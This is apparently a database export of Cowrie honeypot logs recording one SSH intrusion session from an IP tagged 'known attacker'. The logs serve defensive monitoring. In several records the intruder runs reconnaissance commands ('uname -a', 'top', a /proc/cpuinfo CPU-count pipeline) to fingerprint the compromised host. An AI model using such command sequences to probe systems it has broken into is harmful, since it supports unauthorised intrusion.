34456	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:33.732718+03	2021-09-20 15:15:01.915146+03	{"_id": "nAYUA3wBvYTbRNuETFVn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "150.109.115.128", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.42339229583740234, "duplicate": true, "timestamp": "2021-09-20T12:00:33.732718Z", "@timestamp": "2021-09-20T12:00:33.732Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34457	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:34.095301+03	2021-09-20 15:15:01.916145+03	{"_id": "nQYUA3wBvYTbRNuETFVn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:34.095301Z", "@timestamp": "2021-09-20T12:00:34.095Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34458	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:34.825885+03	2021-09-20 15:15:01.918145+03	{"_id": "owYUA3wBvYTbRNuEUFVQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:34.825885Z", "@timestamp": "2021-09-20T12:00:34.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34459	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:34.826427+03	2021-09-20 15:15:01.919144+03	{"_id": "pAYUA3wBvYTbRNuEUFVQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:34.826427Z", "@timestamp": "2021-09-20T12:00:34.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34460	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:35.611875+03	2021-09-20 15:15:01.920144+03	{"_id": "qQYUA3wBvYTbRNuEVFU3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:35.611875Z", "@timestamp": "2021-09-20T12:00:35.611Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34461	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:35.612434+03	2021-09-20 15:15:01.922146+03	{"_id": "qgYUA3wBvYTbRNuEVFU3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:35.612434Z", "@timestamp": "2021-09-20T12:00:35.612Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34462	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:36.037603+03	2021-09-20 15:15:01.923146+03	{"_id": "qwYUA3wBvYTbRNuEVFU3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "150.109.115.128", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.42583370208740234, "duplicate": true, "timestamp": "2021-09-20T12:00:36.037603Z", "@timestamp": "2021-09-20T12:00:36.037Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34463	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:36.793115+03	2021-09-20 15:15:01.924146+03	{"_id": "rAYUA3wBvYTbRNuEWFUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "150.109.115.128", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.42598605155944824, "duplicate": true, "timestamp": "2021-09-20T12:00:36.793115Z", "@timestamp": "2021-09-20T12:00:36.793Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34464	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:42.510094+03	2021-09-20 15:15:01.926145+03	{"_id": "xwYUA3wBvYTbRNuEb1WW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:42.510094Z", "@timestamp": "2021-09-20T12:00:42.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34465	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:42.510642+03	2021-09-20 15:15:01.927145+03	{"_id": "yAYUA3wBvYTbRNuEb1WW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:42.510642Z", "@timestamp": "2021-09-20T12:00:42.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34466	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:43.261092+03	2021-09-20 15:15:01.928145+03	{"_id": "ygYUA3wBvYTbRNuEb1WW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:43.261092Z", "@timestamp": "2021-09-20T12:00:43.261Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34467	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:43.261638+03	2021-09-20 15:15:01.929145+03	{"_id": "ywYUA3wBvYTbRNuEb1WW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:43.261638Z", "@timestamp": "2021-09-20T12:00:43.261Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34468	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:44.051841+03	2021-09-20 15:15:01.930145+03	{"_id": "zQYUA3wBvYTbRNuEc1V-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:44.051841Z", "@timestamp": "2021-09-20T12:00:44.051Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34469	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:44.813375+03	2021-09-20 15:15:01.931146+03	{"_id": "0gYUA3wBvYTbRNuEd1Vn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:44.813375Z", "@timestamp": "2021-09-20T12:00:44.813Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34470	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:45.237885+03	2021-09-20 15:15:01.932145+03	{"_id": "0wYUA3wBvYTbRNuEd1Vn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "150.109.115.128", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.4251389503479004, "duplicate": true, "timestamp": "2021-09-20T12:00:45.237885Z", "@timestamp": "2021-09-20T12:00:45.237Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34471	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:45.600277+03	2021-09-20 15:15:01.933145+03	{"_id": "1AYUA3wBvYTbRNuEe1VQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:45.600277Z", "@timestamp": "2021-09-20T12:00:45.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34478	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:44.051292+03	2021-09-20 15:15:01.942147+03	{"_id": "zgYUA3wBvYTbRNuEc1V-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:44.051292Z", "@timestamp": "2021-09-20T12:00:44.051Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34472	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:42.941682+03	2021-09-20 15:15:01.935145+03	{"_id": "yQYUA3wBvYTbRNuEb1WW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "150.109.115.128", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.43168067932128906, "duplicate": true, "timestamp": "2021-09-20T12:00:42.941682Z", "@timestamp": "2021-09-20T12:00:42.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34473	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:43.693068+03	2021-09-20 15:15:01.936145+03	{"_id": "zAYUA3wBvYTbRNuEc1V-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "150.109.115.128", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.43206357955932617, "duplicate": true, "timestamp": "2021-09-20T12:00:43.693068Z", "@timestamp": "2021-09-20T12:00:43.693Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34474	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:44.475721+03	2021-09-20 15:15:01.937146+03	{"_id": "0AYUA3wBvYTbRNuEd1Vn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "150.109.115.128", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.424513578414917, "duplicate": true, "timestamp": "2021-09-20T12:00:44.475721Z", "@timestamp": "2021-09-20T12:00:44.475Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34475	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:45.820435+03	2021-09-20 15:15:01.938147+03	{"_id": "1QYUA3wBvYTbRNuEe1VQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "150.109.115.128", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.22025322914123535, "duplicate": true, "timestamp": "2021-09-20T12:00:45.820435Z", "@timestamp": "2021-09-20T12:00:45.820Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34476	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:40.695191+03	2021-09-20 15:15:01.940145+03	{"_id": "wQYUA3wBvYTbRNuEZ1XE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 22, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "150.109.115.128", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.4295213222503662, "duplicate": true, "timestamp": "2021-09-20T12:00:40.695191Z", "@timestamp": "2021-09-20T12:00:40.695Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34477	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:41.779997+03	2021-09-20 15:15:01.941145+03	{"_id": "xAYUA3wBvYTbRNuEa1Wt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:41.779997Z", "@timestamp": "2021-09-20T12:00:41.779Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34479	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:44.812828+03	2021-09-20 15:15:01.943146+03	{"_id": "0QYUA3wBvYTbRNuEd1Vn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:44.812828Z", "@timestamp": "2021-09-20T12:00:44.812Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
